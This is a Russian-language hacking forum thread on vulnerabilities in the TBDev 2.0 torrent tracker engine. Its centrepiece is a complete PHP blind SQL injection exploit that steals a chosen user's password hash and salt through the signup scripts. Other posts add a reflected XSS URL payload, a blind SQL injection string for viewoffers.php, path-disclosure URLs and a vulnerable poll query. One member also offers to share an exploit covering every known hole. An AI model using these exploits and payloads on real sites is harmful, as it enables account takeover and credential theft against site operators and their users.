Трекер-движок TBDev 2.0

Discussion in 'Веб-уязвимости' started by Qwazar, 5 Aug 2008.

  1. Rostov114

    Rostov114 Elder - Старейшина

    Joined:
    5 Sep 2008
    Messages:
    33
    Likes Received:
    10
    Reputations:
    5
    :)
    Вторая версия сплоита. Отличия в поиске нет. Но зато теперь он распознает сам пропатчен/отсутсвует ли фаил check_signup.php. Если да то пытается осуществить атаку через takesignup.php.

    Естественно перед этим происходит проверка на уязвимость обоих методов.

    PHP:
    <?

    //TBDev2 Blind SQL Injection Exploit by Qwazar
    //Greets: +toxa+ & antichat.ru & Rostov114

    set_time_limit(0);
    ignore_user_abort(1);
    Error_Reporting(E_ALL & ~E_NOTICE);

    function 
    send_xpl($url$xpl$type){
        global 
    $id;
        
    $u=parse_url($url);
        
        switch(
    $type)
        {
            case 
    'takesignup':
                
    $data  "wantusername=admin&wantpassword=123456&passagain=123456&gender=1&country=1&year=1970&month=01&day=01&";
                
    $data .= "rulesverify=yes&faqverify=yes&ageverify=yes&email={$xpl}";
                
    $req  "POST ".$u['path']."takesignup.php HTTP/1.1\r\n";
            break;
            case 
    'check':
                
    $data "action=email&email={$xpl}";
                
    $req  "POST ".$u['path']."check_signup.php HTTP/1.1\r\n";
            break;
        }

        
    $req .= "Host: ".$u['host']."\r\n";
        
    $req .= "Content-Length: ".strlen($data)."\r\n";
        
    $req .= "Content-Type: application/x-www-form-urlencoded\r\n";
        
    $req .= "Connection: close\r\n\r\n";
        
    $req .= $data;

        
    $fs=fsockopen($u['host'], 80$errno$errstr30) or die("error: $errno - $errstr<br>\n");
        
    fwrite($fs$req);
        while (!
    feof($fs)) {
              
    $res .= fread($fs8192);
        }
        
    fclose($fs);
        return 
    $res;
    }

    function 
    xpl($field$condition$pos){
        global 
    $id;
        
    $xpl="-1'+or+id=if(ascii(substring((select+$field+from+  users  +where+id=$id),$pos,1))$condition,'1',(select+1+un  i  on+select+2))+--+ @ukrnet.ua";
        return 
    $xpl;
    }

    function 
    cond($url$field$cond$pos$ch) {
        global 
    $type;
        if(!
    preg_match('/Subquery returns/'send_xpl($urlxpl($field,$cond.$ch,$pos), $type)))
            return 
    1;
        else
            return 
    0;

    }

    function 
    isVulnerable($url) {
        global 
    $type;
        if(!
    preg_match('/Subquery returns/'send_xpl($urlxpl("passhash","=-1",1), 'check')))
        {
            echo 
    "File check_signup.php absents or not vulnerable.\r\n";
        }
        else
        {
            
    $type 'check';
        }
        
        if(!
    $type)
        {
            if(!
    preg_match('/Subquery returns/'send_xpl($urlxpl("passhash","=-1",1), 'takesignup')))
            {
                die( 
    "Exploit failed: Target is not vulnerable." );
            }
            else
            {
                
    $type 'takesignup';
            }
        }

    }

    function 
    getChar($url$field$pos$lb=0$ub=255) {
        while(
    true) {
            
    $M floor($lb + ($ub-$lb)/2);
            if(
    cond($url$field'<'$pos$M)==1) {
                
    $ub $M 1
            }
            else if(
    cond($url$field'>'$pos$M)==1) {
                
    $lb $M 1;
            }
            else
                return 
    chr($M);
            if(
    $lb $ub)
                return -
    1;
        }
    }

    if(
    $argc<2)
    {
    echo 
    "==================\r\n";
    echo 
    "Using tbdev2sql.php url target_id\r\ntarget_id - id of target member\r\n\r\n\r\nEx.: tbdev2xpl.php http://www.site.com/ 1\r\n";
    echo 
    "==================\r\n";
    die();
    }
    global 
    $type;
    $url=$argv[1];
    $id=$argv[2];

    echo 
    $url.":".$id."\r\n";

    isVulnerable($url);

    echo 
    "Trying to get passhash: ";
    for(
    $i=1;$i<=32;$i++){    
        
    $c getChar($url"passhash"$i47103);
        if(
    $c==-1)
            die(
    "\r\nExploit failed\r\n");
        else 
            echo 
    $c;
    }
    echo 
    " [DONE]\r\n";

    echo 
    "Trying to get salt: ";
    for(
    $i=1;$i<=20;$i++){    
        
    $c getChar($url"secret"$i);
        if(
    $c==-1)
            die(
    "\r\nExploit failed\r\n");
        else 
            echo 
    $c;
    }
    echo 
    " [DONE]\r\n";


    ?>
    = ) Конечно в эту версию можно было прикрутить и атаку через requests.php...но я не стал этого делать.
     
    #101 Rostov114, 27 Apr 2009
    Last edited: 27 Apr 2009
    1 person likes this.
  2. Rostov114

    Rostov114 Elder - Старейшина

    Joined:
    5 Sep 2008
    Messages:
    33
    Likes Received:
    10
    Reputations:
    5
    Сегодня ищя в очередной раз дыры в TBDev заметил странную вещь если после имени файла добавить слеш (/) то весь дизайн перекосит...после 5 минут анализирования нашел активную XSS
    Использование
    Code:
    http://torrent/xxx.php/"><script>alert(/XSS/)</script>/
    Где xxx любой фаил двига который отображает что либо в дизайне.
     
  3. 1ce666

    1ce666 Member

    Joined:
    9 Dec 2008
    Messages:
    45
    Likes Received:
    79
    Reputations:
    -4
    И лучше закрыть эту шнягу :D

    (c) n-sw-bit
     
    3 people like this.
  4. wildshaman

    wildshaman Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    477
    Likes Received:
    483
    Reputations:
    99

    это ПАССИВНАЯ XSS
     
  5. злойдядька

    Joined:
    20 Nov 2008
    Messages:
    10
    Likes Received:
    2
    Reputations:
    0
    НА КОЛ тебя! багу я и s_p_a_m нашли больше чем пол года назад!
    http://forum.antichat.ru/showpost.php?p=958334&postcount=51
     
  6. Rostov114

    Rostov114 Elder - Старейшина

    Joined:
    5 Sep 2008
    Messages:
    33
    Likes Received:
    10
    Reputations:
    5
    Ты это..прочитай получше это сообщение...ты думаеш почему я сплоит под эту багу писал основываясь на споите Qwazar...а т.к. файлик то не запишеш...ты вначале читай..а потом обсирай...
     
  7. yurets

    yurets New Member

    Joined:
    7 Jun 2009
    Messages:
    6
    Likes Received:
    1
    Reputations:
    0
    Извините я в этом деле новичок но есть у нас в локальном пользовании трекер у которого вроде бы как движок TBDev 2.0, почему вроде бы потомучто у него в низу сайта есть такая натпись
    [​IMG]
    Вывести отчет об ошибке я так и не смог, перечитал кучу статей про SQL-inj и единственное что смог вывести так это страницу с странным текстом типа:
    "То, что вы хотите, нету.",
    "URL неправильный.",
    "Я даже попробовал поглядеть рядом.",
    "Нет ничего похожего.",
    "А случайно не перепутали с [бЮЬЮ ЯЯШКЙЮ]",.............
    Помогите что мне дальше с этим делать?
     
    #107 yurets, 8 Jun 2009
    Last edited: 8 Jun 2009
  8. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    yurets, скорее всего файл requests.php в этой сборке удалили, и правильно сделали. Попробуй поискать другие уязвимости.
     
  9. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    вот что то нашел..))))зацени))что то у меня он не прошел

    http://127.0.0.1/treker/testip.php?ip=1'

    кажется что ето не SQL-inj

    P.S.но все равно решил выложить....

    P.S.S уже на сонную голову пишу..мб есть такой пост


    Code:
    if ($_SERVER["REQUEST_METHOD"] == "POST")
    	$ip = $_POST["ip"];
    else
    	$ip = $_GET["ip"];
    if ($ip)
    {
    	$nip = ip2long($ip);
    	if ($nip == -1)
    	  stderr($tracker_lang['error'], "Bad IP.");
    	$res = sql_query("SELECT * FROM bans WHERE $nip >= first AND $nip <= last") or sqlerr(__FILE__, __LINE__);
    	if (mysql_num_rows($res) == 0)
    	  stderr("Результат", "IP адрес <b>$ip</b> не забанен.");
    	else
    	{
    	  $banstable = "<table class=main border=0 cellspacing=0 cellpadding=5>\n" .
    	    "<tr><td class=colhead>Первый</td><td class=colhead>Последний</td><td class=colhead>Комментарий</td></tr>\n";
    	  while ($arr = mysql_fetch_assoc($res))
    	  {
    	    $first = long2ip($arr["first"]);
    	    $last = long2ip($arr["last"]);
    	    $comment = htmlspecialchars($arr["comment"]);
    	    $banstable .= "<tr><td>$first</td><td>$last</td><td>$comment</td></tr>\n";
    	  }
    	  $banstable .= "</table>\n";
    	  stderr("Результат", "<table border=0 cellspacing=0 cellpadding=0><tr><td class=embedded style='padding-right: 5px'><img src=pic/smilies/excl.gif></td><td class=embedded>IP адрес <b>$ip</b> забанен:</td></tr></table><p>$banstable</p>");
    	}
    }
    stdhead("Проверка IP");
    
    
    BpoDE POST
     
    _________________________
  10. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Это не уязвимость, просто ошибка разработчиков.
     
  11. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://127.0.0.1/treker/viewoffers.php?filter=

    тута крутани =\ что то я не смог довести до ума
     
    _________________________
    1 person likes this.
  12. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Молодчина, это слепая скуль.

    Code:
    /viewoffers.php?filter= AND if(substring(version(),1,1)=5,(select 1 union select 2),1) -- 1
    Советую почитать и вникнуть в статью (пункт "3.ЧТО ДЕЛАТЬ ЕСЛИ ОТСУТСТВУЮТ ВЫВОДИМЫЕ ПОЛЯ."): https://forum.antichat.ru/thread43966.html

    А затем: https://forum.antichat.ru/thread119047.html

    Кстати, если есть хоть одна запись в таблице offers, в следующем запросе (у меня строка 98) можно увидеть скулю с выводом (проверь, я не пробовал на практике, но по коду - вывод вроде есть).
     
    #112 Qwazar, 19 Jun 2009
    Last edited: 19 Jun 2009
    1 person likes this.
  13. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://localhost/treker/comment.php?action=check&tid[]=

    тоже раскрытие путей))))что то типа твоего)))
     
    _________________________
  14. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://127.0.0.1/treker/invite.php?id=1&type=del

    у меня выкинуло внизу раскрытие путей))
     
    _________________________
  15. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Не нужно для каждого раскрытия писать отдельный пост, в этом движке раскрытий тысяча и одна штука. Собирай их все в один пост, а не плоди сообщения.
     
  16. Rostov114

    Rostov114 Elder - Старейшина

    Joined:
    5 Sep 2008
    Messages:
    33
    Likes Received:
    10
    Reputations:
    5
    Хотя их можно отключить 1 функцией...

    А за скуль спасибо = )

    P.S. Кому интересно могу дать сплоит который атакует по всем на данный момент известным уязвимостям, включая последнюю. Выкладывать в паблик не хочу ибо слишком он сейчас опасен.
     
    #116 Rostov114, 20 Jun 2009
    Last edited: 20 Jun 2009
  17. foot

    foot New Member

    Joined:
    6 Apr 2009
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Хотелось бы взглянуть... :) тебе плюсик и спасибо...
     
  18. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Тут пишут что найдена ещё уязвимость: https://forum.antichat.ru/showpost.php?p=1346236&postcount=7789

    Источник не указан, если кто найдёт - пишите, поставим копирайты. Расковырял этот парметр, вот результат:

    Посмотрел, короче будет работать только если:

    1) залогиниться
    2) юзер хоть раз участвовал в голосовании

    Уязвимый запрос:
    Code:
    sql_query("INSERT INTO pollanswers VALUES(0, $pollid, $userid, $choice)") or sqlerr(__FILE__, __LINE__);
    тогда можно в к примеру сделать так:
    UPD:
    Нашёл источник: "Bug discovered by Emiliano Scavuzzo"
     
    #118 Qwazar, 22 Jun 2009
    Last edited: 22 Jun 2009
    1 person likes this.
  19. Yuna

    Yuna Member

    Joined:
    22 Jun 2009
    Messages:
    41
    Likes Received:
    8
    Reputations:
    12
    А это $choice = (int) $_POST["choice"];
    if ($CURUSER && $choice >= 0 && $choice < 256) { не спасает? :)
     
  20. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Если добавить (int) как написано в твоём посте, то спасает. Я не знаю может в новой версии есть строгое приведение типа, я на старой смотрел, там его нет.

    З.Ы.
    Вот у меня код такой:

    Code:
    if ($_SERVER["REQUEST_METHOD"] == "POST") {
      $choice = $_POST["choice"];
      if ($CURUSER && $choice != "" && $choice < 256 && $choice == floor($choice)) {